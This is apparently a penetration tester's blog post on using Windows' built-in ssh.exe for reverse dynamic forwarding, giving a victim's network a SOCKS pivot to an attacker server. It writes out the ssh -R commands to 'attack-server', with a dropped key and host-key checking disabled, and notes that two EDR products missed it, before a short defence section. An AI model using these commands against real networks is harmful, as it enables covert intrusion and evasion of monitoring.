The pivot problem

While preparing for an upcoming engagement, I was exploring alternative options for gaining a network pivot behind a perimeter firewall and stumbled upon a feature released in OpenSSH 7.6 that was subsequently ported into the ssh client used in Windows, reverse dynamic forwarding!

During the course of testing I discovered that a simple command executed by a socially engineered user could open up a reverse socks proxy behind a firewall, it would not depend on any malware and the latest builds of Windows 10 and 11 now include the binary by default!

ssh.exe -R localhost:8080 user@attack-server

This ssh command executed by the target listens on port 8080 of the attack server and simply forwards all SOCKS network requests (via reverse connection) to the network where the target resides.

Weaponization problem

Three problems exist with this pivot vector, what happens if the ssh binary is not on the target host, how should credentials be handled for authentication and how can we bypass the initial ssh known-host prompt?

For the binary existence problem, one solution could be to include the download of the Windows ssh.exe binary as part of the execution payload. During testing, it was also discovered that two of the top EDR solutions in the market did not detect abnormal placement of the ssh.exe binary, even though by default Windows places it in C:\Windows\System32\OpenSSH.

For the second problem, an SSH keypair could be downloaded or dropped as part of the execution and referenced, for example:

ssh.exe -i keyfile.key -R localhost:8080 user@attack-server

Finally, for the known host verification check, we can add an SSH option which disables that host key checking:

ssh.exe -i keyfile.key -o StrictHostKeychecking=no -R localhost:8080 user@attack-server

Dealing with EDR?

By now we have managed to:

  • Establish a reverse socks proxy connection to a target network
  • Use a living off the land binary, or at least imported it if its not there,
  • Use an SSH keypair for automatic authentication to the ssh server, and
  • Disabled SSH host key checking

The final question remains, how do the two top tier EDR solutions in the market handle this scenario? As it turns out, at the time of testing they did not detect abnormal activity, as we are using legitimate executables.

How to defend the network

In the absence of an EDR solution knowing of a novel lateral movement technique, SSH protocol recognition and blocking could be an important control for this type of attack, as well as endpoint based allow-listing controls.